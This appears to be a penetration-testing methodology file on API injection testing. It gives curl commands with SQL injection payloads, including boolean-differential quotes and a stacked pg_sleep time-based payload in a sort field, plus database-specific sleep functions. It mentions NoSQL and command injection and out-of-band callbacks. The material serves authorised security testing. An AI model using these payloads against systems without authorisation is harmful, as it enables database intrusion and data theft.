API Injection Testing

Purpose

Exploit injection sinks behind API endpoints: SQL injection in JSON-body values, ORDER BY/filter fields, and headers; NoSQL operator injection; command injection reaching OS shells. Confirmed via differential, timing, error, or out-of-band evidence, never via status codes alone.

SSRF through URL-accepting parameters belongs to api-ssrf.

Preconditions

• Mapped API surface with input-bearing endpoints
• For blind cases: an OOB callback domain (oob_callback tool)
• Backend fingerprint from reconnaissance (DB type determines dialect payloads)

Attack Surface Signals

• String fields in JSON bodies, query strings, path segments
• Sort/order/filter/fields parameters (ORDER BY injection)
• Headers that reach storage or queries: X-Forwarded-For, User-Agent, Referer, cookies
• Search endpoints, report/export builders, document lookups

Methodology

Step 1: Map Injection Points

Enumerate every string input: path, query, JSON body (all keys, nested), headers, cookies. Include fields others skip: sort, order, filter, fields, page, locale, timezone.

Step 2: SQL Injection

# Baseline first, record normal response and timing
curl -sk -H "Authorization: Bearer TOKEN" "https://TARGET/api/products?category=electronics" > tmp/base.json
# Boolean differential
curl -sk "https://TARGET/api/products?category=electronics'--" > tmp/t1.json
curl -sk "https://TARGET/api/products?category=electronics' OR '1'='1'--" > tmp/t2.json
diff <(jq -S . tmp/base.json) <(jq -S . tmp/t2.json)
# ORDER BY / sort-field injection (no quotes needed)
curl -sk "https://TARGET/api/products?sort=price;SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--"

Dialects: MySQL (SLEEP(5), --), PostgreSQL (pg_sleep(5), --), MSSQL (WAITFOR DELAY '0:0:5', ;--), SQLite, Oracle (dbms_pipe.receive_message). Try all before concluding negative when errors are suppressed.